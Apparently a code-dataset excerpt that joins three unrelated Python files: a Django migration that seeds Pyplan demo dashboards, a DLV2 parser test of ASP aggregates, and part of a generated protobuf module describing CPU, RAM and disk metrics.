"5b3df4d3-723d-4dae-8127-f9fb8f11c4be", "nodeId": "fruits_quantities", "columns": [ { "name": "Region", "field": "region.fruits_quantities", "isGeo": False, "isTime": False, "levels": [], "values": [ { "type": "", "value": "North", "geoDef": None, "selected": True }, { "type": "", "value": "South", "geoDef": None, "selected": True }, { "type": "", "value": "West", "geoDef": None, "selected": True } ], "description": None, "currentLevel": None, "numberFormat": None } ], "itemType": "table", "objectType": None, "itemProperties": { "axes": { "xAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "yAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "enabled": True }, "unit": "", "zoom": True, "table": { "styles": [ { "pos": 0, "index": "_alltable_", "style": { "pagination": 100 }, "value": -1 } ] }, "title": { "text": "Fruits Quantities", "align": "center", "style": { "text": "#000000", "fontWeight": "normal" }, "margin": "", "enabled": True, "isCustom": False, "verticalAlign": "top" }, "detail": True, "legend": { "y": 0, "align": "right", "title": { "text": "" }, "layout": "vertical", "enabled": True, "borderWidth": 0, "verticalAlign": "middle" }, "tooltip": { "valueSuffix": None, "valueDecimals": 2 }, "subtitle": { "text": "", "style": { "text": "#000000", "fontWeight": "normal" }, "enabled": True, "verticalAlign": "top" }, "drilldown": True, "timeChart": { "active": False, "possible": False }, "originalId": None } }, { "x": 10, "y": 2, "dims": [], "rows": [ { "name": "Product", "field": "product.revenue", "isGeo": False, "isTime": False, "levels": [], "values": [ { "type": "", "value": "Orange", "geoDef": None, "selected": True }, { "type": "", "value": "Apple", "geoDef": None, "selected": True }, { "type": "", "value": "Banana", "geoDef": None, "selected": True } ], "description": None, "currentLevel": None, "numberFormat": None } ], "index": 5, "width": 2, "height": 3, "itemId": "2800edb6-25f5-4f2e-ab82-6a30981cc85a", "nodeId": "revenue", "columns": [ { "name": "Region", "field": "region.revenue", "isGeo": False, "isTime": False, "levels": [], "values": [ { "type": "", "value": "North", "geoDef": None, "selected": True }, { "type": "", "value": "South", "geoDef": None, "selected": True }, { "type": "", "value": "West", "geoDef": None, "selected": True } ], "description": None, "currentLevel": None, "numberFormat": None } ], "itemType": "table", "objectType": None, "itemProperties": { "axes": { "xAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "yAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "enabled": True }, "unit": "", "zoom": True, "table": { "styles": [ { "pos": 0, "index": "_alltable_", "style": { "pagination": 100 }, "value": -1 } ] }, "title": { "text": "Revenue", "align": "center", "style": { "text": "#000000", "fontWeight": "normal" }, "margin": "", "enabled": True, "isCustom": False, "verticalAlign": "top" }, "detail": True, "legend": { "y": 0, "align": "right", "title": { "text": "" }, "layout": "vertical", "enabled": True, "borderWidth": 0, "verticalAlign": "middle" }, "tooltip": { "valueSuffix": None, "valueDecimals": 2 }, "subtitle": { "text": "", "style": { "text": "#000000", "fontWeight": "normal" }, "enabled": True, "verticalAlign": "top" }, "drilldown": True, "timeChart": { "active": False, "possible": False }, "originalId": None } }, { "x": 4, "y": 3, "dims": [], "rows": [], "index": 6, "width": 2, "height": 1, "itemId": "b7c46667-c85c-4714-b057-2b18d0cbe6bf", "nodeId": "product", "columns": [], "itemType": "indexlist", "objectType": None, "itemProperties": { "axes": { "xAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "yAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "enabled": True }, "unit": "", "zoom": True, "index": { "ui": "default", "dynamic": False, "related": False, "orientation": "h", "singleSelect": False, "currentSelectedValues": [ "Orange", "Apple", "Banana" ] }, "title": { "text": "Product", "align": "center", "style": { "text": "#000000", "fontWeight": "normal" }, "margin": "", "enabled": True, "isCustom": False, "verticalAlign": "top" }, "detail": True, "legend": { "y": 0, "align": "right", "title": { "text": "" }, "layout": "vertical", "enabled": True, "borderWidth": 0, "verticalAlign": "middle" }, "nodeId": "product", "tooltip": { "valueSuffix": None, "valueDecimals": 2 }, "subtitle": { "text": "", "style": { "text": "#000000", "fontWeight": "normal" }, "enabled": True, "verticalAlign": "top" }, "drilldown": True, "timeChart": { "active": False, "possible": False }, "originalId": None } }, { "x": 4, "y": 4, "dims": [], "rows": [], "index": 7, "width": 2, "height": 1, "itemId": "d408c672-8d8b-4e55-a739-5b864796cfb6", "nodeId": "region", "columns": [], "itemType": "indexlist", "objectType": None, "itemProperties": { "axes": { "xAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "yAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "enabled": True }, "unit": "", "zoom": True, "index": { "ui": "default", "dynamic": False, "related": False, "orientation": "h", "singleSelect": False, "currentSelectedValues": [ "North", "South", "West" ] }, "title": { "text": "Region", "align": "center", "style": { "text": "#000000", "fontWeight": "normal" }, "margin": "", "enabled": True, "isCustom": False, "verticalAlign": "top" }, "detail": True, "legend": { "y": 0, "align": "right", "title": { "text": "" }, "layout": "vertical", "enabled": True, "borderWidth": 0, "verticalAlign": "middle" }, "nodeId": "region", "tooltip": { "valueSuffix": None, "valueDecimals": 2 }, "subtitle": { "text": "", "style": { "text": "#000000", "fontWeight": "normal" }, "enabled": True, "verticalAlign": "top" }, "drilldown": True, "timeChart": { "active": False, "possible": False }, "originalId": None } }, { "x": 4, "y": 5, "dims": [], "rows": [], "index": 8, "width": 8, "height": 2, "itemId": "dc639535-a455-4d4f-82ef-82dc625dda36", "nodeId": "", "columns": [], "itemType": "objectItem", "objectType": "texteditor", "itemProperties": { "htmlcontent": " \n Pyplan solving dimensions intersection and alignment with indexes<div>Click on indexes \"New Products\" & \"Region\" to see how filters work on interfaces </div>", "generalBackgroundColor": "#eeeeee" } }, { "x": 4, "y": 7, "dims": [], "rows": [], "index": 9, "width": 2, "height": 1, "itemId": "f0b26a7b-57bc-4791-b61d-8aa7e797fb56", "nodeId": "", "columns": [], "itemType": "objectItem", "objectType": "texteditor", "itemProperties": { "htmlcontent": " \n Other Filters", "generalBackgroundColor": "#eeeeee" } }, { "x": 6, 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"index": "_alltable_", "style": { "pagination": 100, "numberFormat": "2,F,4,2,1,0,4,0,$,5,,0", "backgroundColor": "#fff2cc" }, "value": -1 }, { "pos": 1, "index": "regression_results.cdm_models_reg_results_comp", "style": { "numberFormat": "2,F,4,3,1,0,4,0,$,5,,0" }, "value": "R-Squared" }, { "pos": 2, "index": "regression_results.cdm_models_reg_results_comp", "style": { "numberFormat": "2,F,4,3,1,0,4,0,$,5,,0" }, "value": "Adjusted R-Squared" } ] }, "title": { "text": "Models Regression Results Comparison", "align": "center", "style": { "color": "#000000" }, "margin": "", "enabled": True, "isCustom": False, "verticalAlign": "top" }, "detail": False, "legend": { "y": 0, "align": "right", "title": { "text": "" }, "layout": "vertical", "margin": 2, "enabled": True, "borderWidth": 0, "verticalAlign": "middle" }, "tooltip": { "valueSuffix": None, "valueDecimals": 2 }, "subtitle": { "text": "", "style": { "color": "#000000", "fontWeight": "normal" }, "enabled": True, "verticalAlign": "top" }, "drilldown": False, "timeChart": { "active": False, "possible": False }, "numberFormat": "2,F,4,2,1,0,4,0,$,5,,0" } }, { "x": 8, "y": 10, "dims": [ { "name": "Product Families", "field": "product_families.cdm_models_reg_results_best_fit_value", "isGeo": False, "isTime": False, "levels": [], "values": [ { "type": None, "value": "Product Family 17", "geoDef": None, "selected": True } ], "description": None, "currentLevel": None, "numberFormat": None }, { "name": "Sales Channels", "field": "sales_channels.cdm_models_reg_results_best_fit_value", "isGeo": False, "isTime": False, "levels": [], "values": [ { "type": None, "value": "Sales Channel 4", "geoDef": None, "selected": True } ], "description": None, "currentLevel": None, "numberFormat": None } ], "rows": [ { "name": "Regression Results", "field": "regression_results.cdm_models_reg_results_best_fit_value", "isGeo": False, "isTime": False, "levels": [], "values": [], "description": None, "currentLevel": None, "numberFormat": None } ], "index": 5, "width": 4, "height": 3, "itemId": "dfadbf63-4dbe-487e-8ab8-afdc4596322a", "nodeId": "cdm_models_reg_results_best_fit_value", "columns": [ { "name": "Regression Comparison Concepts", "field": "regression_comparison_concepts.cdm_models_reg_results_best_fit_value", "isGeo": False, "isTime": False, "levels": [], "values": [], "description": None, "currentLevel": None, "numberFormat": None } ], "itemType": "table", "objectType": None, "itemProperties": { "axes": { "xAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": True, "rotation": None }, "isSumList": [], "showTitle": True }, "yAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": True, "rotation": None }, "showTitle": True }, "enabled": False }, "zoom": True, "table": { "styles": [ { "pos": 0, "index": "_alltable_", "style": { "pagination": 100, "backgroundColor": "#fff2cc" }, "value": -1 } ] }, "title": { "text": "Models Regression Results - Best Fit Value", "align": "center", "style": { "color": "#000000" }, "margin": "", "enabled": True, "isCustom": False, "verticalAlign": "top" }, "detail": False, "legend": { "y": 0, "align": "right", "title": { "text": "" }, "layout": "vertical", "margin": 2, "enabled": True, "borderWidth": 0, "verticalAlign": "middle" }, "tooltip": { "valueSuffix": None, "valueDecimals": 2 }, "subtitle": { "text": "", "style": { "color": "#000000", "fontWeight": "normal" }, "enabled": True, "verticalAlign": "top" }, "drilldown": False, "timeChart": { "active": False, "possible": False } } } ] } gapminder_data_analysis_definition = { "definitionLarge": [ { "x": 0, "y": 0, "dims": [], "rows": [], "index": 0, "width": 4, "height": 1, "itemId": "4963e4bb-f2ea-4f59-b38a-4a4582d4b755", "nodeId": "", "columns": [], "itemType": "objectItem", "objectType": "texteditor", "itemProperties": { "htmlcontent": "Gapminder Dataset Analysis", "generalBackgroundColor": "#d9d9d9" } }, { "x": 4, "y": 0, "dims": [], "rows": [], "index": 1, "width": 8, "height": 1, "itemId": "5f8f06b6-80dd-4ce4-bf20-06604c68bd3a", "nodeId": "continent_selector", "columns": [], "itemType": "selector", "objectType": None, "itemProperties": { "axes": { "xAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "yAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "enabled": True }, "unit": "", "zoom": True, "title": { "text": "Continent Selector", "align": "center", "style": { "text": "#000000", "color": "#4572a7", "fontWeight": "normal" }, "margin": "", "enabled": True, "isCustom": False, "verticalAlign": "top" }, "detail": True, "legend": { "y": 0, "align": "right", "title": { "text": "" }, "layout": "vertical", "enabled": True, "borderWidth": 0, "verticalAlign": "middle" }, "tooltip": { "valueSuffix": None, "valueDecimals": 2 }, "subtitle": { "text": "", "style": { "text": "#000000", "fontWeight": "normal" }, "enabled": True, "verticalAlign": "top" }, "drilldown": True, "timeChart": { "active": False, "possible": False }, "originalId": None, "multiselect": "0", "selectorFormat": "options", "generalBackgroundColor": "#d9d9d9" } }, { "x": 0, "y": 1, "dims": [], "rows": [], "index": 2, "width": 2, "height": 1, "itemId": "19d1ce4b-3a7e-4eb3-affb-512b23e2e8f1", "nodeId": "country__one_vs_all", "columns": [], "itemType": "selector", "objectType": None, "itemProperties": { "axes": { "xAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "yAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "enabled": True }, "unit": "", "zoom": True, "title": { "text": "Country: One / All", "align": "center", "style": { "text": "#000000", "fontWeight": "normal" }, "margin": "", "enabled": True, "isCustom": False, "verticalAlign": "top" }, "detail": True, "legend": { "y": 0, "align": "right", "title": { "text": "" }, "layout": "vertical", "enabled": True, "borderWidth": 0, "verticalAlign": "middle" }, "tooltip": { "valueSuffix": None, "valueDecimals": 2 }, "subtitle": { "text": "", "style": { "text": "#000000", "fontWeight": "normal" }, "enabled": True, "verticalAlign": "top" }, "drilldown": True, "timeChart": { "active": False, "possible": False }, "originalId": None, "selectorFormat": "options", "generalBackgroundColor": "#d9d9d9" } }, { "x": 2, "y": 1, "dims": [], "rows": [], "index": 3, "width": 10, "height": 13, "itemId": "b7b71112-d0f5-4260-9801-1b829dfdd850", "nodeId": "exploratory_analysis1", "columns": [], "itemType": "indicator", "objectType": None, "itemProperties": { "axes": { "xAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "yAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "enabled": True }, "unit": "", "zoom": True, "title": { "text": "Graph Exploratory Analysis", "align": "center", "style": { "text": "#000000", "fontWeight": "normal" }, "margin": "", "enabled": True, "isCustom": False, "verticalAlign": "top" }, "detail": False, "legend": { "y": 0, "align": "right", "title": { "text": "" }, "layout": "vertical", "enabled": True, "borderWidth": 0, "verticalAlign": "middle" }, "tooltip": { "valueSuffix": None, "valueDecimals": 2 }, "subtitle": { "text": "", "style": { "text": "#000000", "fontWeight": "normal" }, "enabled": True, "verticalAlign": "top" }, "drilldown": True, "timeChart": { "active": False, "possible": False }, "originalId": None } }, { "x": 0, "y": 2, "dims": [], "rows": [], "index": 4, "width": 2, "height": 12, "itemId": "3b28d2df-9d6e-4474-b796-d21813094352", "nodeId": "country_selector", "columns": [], "itemType": "selector", "objectType": None, "itemProperties": { "axes": { "xAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "yAxis": { "max": None, "min": None, "title": { "text": "" }, "labels": { "align": None, "enabled": "True", "rotation": None }, "isSumList": [], "showTitle": True }, "enabled": True }, "unit": "", "zoom": True, "title": { "text": "Single Country Selector", "align": "center", "style": { "text": "#000000", "fontWeight": "normal" }, "margin": "", "enabled": True, "isCustom": False, "verticalAlign": "top" }, "detail": True, "legend": { "y": 0, "align": "right", "title": { "text": "" }, "layout": "vertical", "enabled": True, "borderWidth": 0, "verticalAlign": "middle" }, "tooltip": { "valueSuffix": None, "valueDecimals": 2 }, "subtitle": { "text": "", "style": { "text": "#000000", "fontWeight": "normal" }, "enabled": True, "verticalAlign": "top" }, "drilldown": True, "timeChart": { "active": False, "possible": False }, "originalId": None, "selectorFormat": "options", "selectorOrientation": "v", "generalBackgroundColor": "#d9d9d9" } } ] } def add_demo_dashboards(apps, schema_editor): Report = apps.get_model('pyplan', 'Report') Dashboard = apps.get_model('pyplan', 'Dashboard') Dashboard.objects.create( model='xarray_in_pyplan', name='Xarray in Pyplan', node=None, order=1, owner_id=1, definition=xarray_in_pyplan_definition, ) Dashboard.objects.create( model='pyplan_qs_tutorials', name="Federer's Statistics Analysis", node=None, order=1, owner_id=1, definition=pyplan_qs_tutorials_definition, ) Dashboard.objects.create( model='creating_my_first_model', name='Interface 1', node=None, order=1, owner_id=1, definition=creating_my_first_model_definition, ) Dashboard.objects.create( model='iris_sample_model', name='Iris Sample', node=None, order=1, owner_id=1, definition=iris_sample_model_definition, ) report = Report.objects.create( model='ex_regressions', name='Regressions', parent_id=None, owner_id=1, ) Dashboard.objects.create( report=report, model='ex_regressions', name='Variables Exploration', node=None, order=1, owner_id=1, definition=variable_exploration_definition, ) Dashboard.objects.create( report=report, model='ex_regressions', name='Linear Regression', node=None, order=2, owner_id=1, definition=linear_regression_definition, ) Dashboard.objects.create( report=report, model='ex_regressions', name='Quadratic Regression', node=None, order=3, owner_id=1, definition=quadratic_regression_definition, ) Dashboard.objects.create( report=report, model='ex_regressions', name='Cubic Regression', node=None, order=4, owner_id=1, definition=cubic_regression_definition, ) Dashboard.objects.create( report=report, model='ex_regressions', name='ARIMA Regression', node=None, order=5, owner_id=1, definition=arima_regression_definition, ) Dashboard.objects.create( report=report, model='ex_regressions', name='Models Comparison', node=None, order=6, owner_id=1, definition=models_comparison_definition, ) Dashboard.objects.create( model='gapminder_data_analysis', name='Exploratory Analysis', node=None, order=1, owner_id=1, definition=gapminder_data_analysis_definition, ) class Migration(migrations.Migration): dependencies = [ ('pyplan', '0013_guestuser_permissions_20190919_1715'), ] operations = [ migrations.RunPython(add_demo_dashboards), ]

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b34eea46fe51f78e91641ae681c0274a9860f7be

1,229

py

Python

tests/parser/aggregates.domain.1.test.py

veltri/DLV2

944aaef803aa75e7ec51d7e0c2b0d964687fdd0e

[ "Apache-2.0" ]

null

tests/parser/aggregates.domain.1.test.py

veltri/DLV2

944aaef803aa75e7ec51d7e0c2b0d964687fdd0e

[ "Apache-2.0" ]

null

tests/parser/aggregates.domain.1.test.py

veltri/DLV2

944aaef803aa75e7ec51d7e0c2b0d964687fdd0e

[ "Apache-2.0" ]

null

input = """ % This testcase verifies that we properly handle aggregates over an % undefined (or empty) predicate. count(R) :- R = #count{ X : f(X)}. sum (R) :- R = #sum { X : f(X)}. %times(R) :- R = #times{ X : f(X)}. min(R) :- R = #min { X : f(X)}. max(R) :- R = #max { X : f(X)}. undefmin1 :- #min{ X : f(X)} <= 3. undefmin2 :- #min{ X : f(X)} >= 3. undefmin3 :- not #min{ X : f(X)} <= 3. undefmin4 :- not #min{ X : f(X)} >= 3. undefmax1 :- #max{ X : f(X)} <= 3. undefmax2 :- #max{ X : f(X)} >= 3. undefmax3 :- not #max{ X : f(X)} <= 3. undefmax4 :- not #max{ X : f(X)} >= 3. """ output = """ % This testcase verifies that we properly handle aggregates over an % undefined (or empty) predicate. count(R) :- R = #count{ X : f(X)}. sum (R) :- R = #sum { X : f(X)}. %times(R) :- R = #times{ X : f(X)}. min(R) :- R = #min { X : f(X)}. max(R) :- R = #max { X : f(X)}. undefmin1 :- #min{ X : f(X)} <= 3. undefmin2 :- #min{ X : f(X)} >= 3. undefmin3 :- not #min{ X : f(X)} <= 3. undefmin4 :- not #min{ X : f(X)} >= 3. undefmax1 :- #max{ X : f(X)} <= 3. undefmax2 :- #max{ X : f(X)} >= 3. undefmax3 :- not #max{ X : f(X)} <= 3. undefmax4 :- not #max{ X : f(X)} >= 3. """

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py

Python

chia_tea/protobuf/generated/hardware_pb2.py

Tea-n-Tech/chia-tea

a5bd327b9d5e048e55e9f5d8cefca2dbcd5eae96

[ "BSD-3-Clause" ]

6

2021-08-05T21:31:15.000Z

2021-11-15T20:54:25.000Z

chia_tea/protobuf/generated/hardware_pb2.py

Tea-n-Tech/chia-tea

a5bd327b9d5e048e55e9f5d8cefca2dbcd5eae96

[ "BSD-3-Clause" ]

49

2021-08-05T19:33:08.000Z

2022-03-30T19:33:38.000Z

chia_tea/protobuf/generated/hardware_pb2.py

Tea-n-Tech/chia-tea

a5bd327b9d5e048e55e9f5d8cefca2dbcd5eae96

[ "BSD-3-Clause" ]

1

2022-01-09T17:08:32.000Z

# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: chia_tea/protobuf/generated/hardware.proto """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() DESCRIPTOR = _descriptor.FileDescriptor( name='chia_tea/protobuf/generated/hardware.proto', package='chia_tea.protobuf.generated.hardware_pb2', syntax='proto3', serialized_options=None, create_key=_descriptor._internal_create_key, serialized_pb=b'\n*chia_tea/protobuf/generated/hardware.proto\x12(chia_tea.protobuf.generated.hardware_pb2\"^\n\x03\x43pu\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x13\n\x0b\x63lock_speed\x18\x02 \x01(\x01\x12\r\n\x05usage\x18\x03 \x01(\x01\x12\x13\n\x0btemperature\x18\x04 \x01(\x01\x12\x10\n\x08n_vcores\x18\x05 \x01(\x05\"Q\n\x03Ram\x12\x11\n\ttotal_ram\x18\x01 \x01(\x03\x12\x10\n\x08used_ram\x18\x02 \x01(\x03\x12\x12\n\ntotal_swap\x18\x03 \x01(\x03\x12\x11\n\tused_swap\x18\x04 \x01(\x03\"\xb2\x02\n\x04\x44isk\x12\n\n\x02id\x18\x01 \x01(\t\x12\x0c\n\x04name\x18\x02 \x01(\t\x12\x13\n\x0btotal_space\x18\x03 \x01(\x01\x12\x12\n\nused_space\x18\x04 \x01(\x01\x12\x0e\n\x06\x64\x65vice\x18\x0c \x01(\t\x12\x12\n\nmountpoint\x18\r \x01(\t\x12\x0e\n\x06\x66stype\x18\x0e \x01(\t\x12\x15\n\rmount_options\x18\x0f \x01(\t\x12\x13\n\x0btemperature\x18\x05 \x01(\x01\x12\x15\n\rread_activity\x18\x06 \x01(\x01\x12\x16\n\x0ewrite_activity\x18\x07 \x01(\x01\x12\x12\n\nread_speed\x18\x08 \x01(\x01\x12\x13\n\x0bwrite_speed\x18\t \x01(\x01\x12\x16\n\x0eread_total_tbw\x18\n \x01(\x01\x12\x17\n\x0fwrite_total_tbw\x18\x0b \x01(\x01\x62\x06proto3' ) _CPU = _descriptor.Descriptor( name='Cpu', full_name='chia_tea.protobuf.generated.hardware_pb2.Cpu', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='chia_tea.protobuf.generated.hardware_pb2.Cpu.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='clock_speed', full_name='chia_tea.protobuf.generated.hardware_pb2.Cpu.clock_speed', index=1, number=2, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='usage', full_name='chia_tea.protobuf.generated.hardware_pb2.Cpu.usage', index=2, number=3, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='temperature', full_name='chia_tea.protobuf.generated.hardware_pb2.Cpu.temperature', index=3, number=4, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='n_vcores', full_name='chia_tea.protobuf.generated.hardware_pb2.Cpu.n_vcores', index=4, number=5, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=88, serialized_end=182, ) _RAM = _descriptor.Descriptor( name='Ram', full_name='chia_tea.protobuf.generated.hardware_pb2.Ram', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='total_ram', full_name='chia_tea.protobuf.generated.hardware_pb2.Ram.total_ram', index=0, number=1, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='used_ram', full_name='chia_tea.protobuf.generated.hardware_pb2.Ram.used_ram', index=1, number=2, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='total_swap', full_name='chia_tea.protobuf.generated.hardware_pb2.Ram.total_swap', index=2, number=3, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='used_swap', full_name='chia_tea.protobuf.generated.hardware_pb2.Ram.used_swap', index=3, number=4, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=184, serialized_end=265, ) _DISK = _descriptor.Descriptor( name='Disk', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='id', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.id', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='name', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.name', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='total_space', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.total_space', index=2, number=3, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='used_space', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.used_space', index=3, number=4, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='device', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.device', index=4, number=12, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='mountpoint', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.mountpoint', index=5, number=13, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fstype', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.fstype', index=6, number=14, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='mount_options', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.mount_options', index=7, number=15, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='temperature', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.temperature', index=8, number=5, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='read_activity', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.read_activity', index=9, number=6, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='write_activity', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.write_activity', index=10, number=7, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='read_speed', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.read_speed', index=11, number=8, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='write_speed', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.write_speed', index=12, number=9, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, 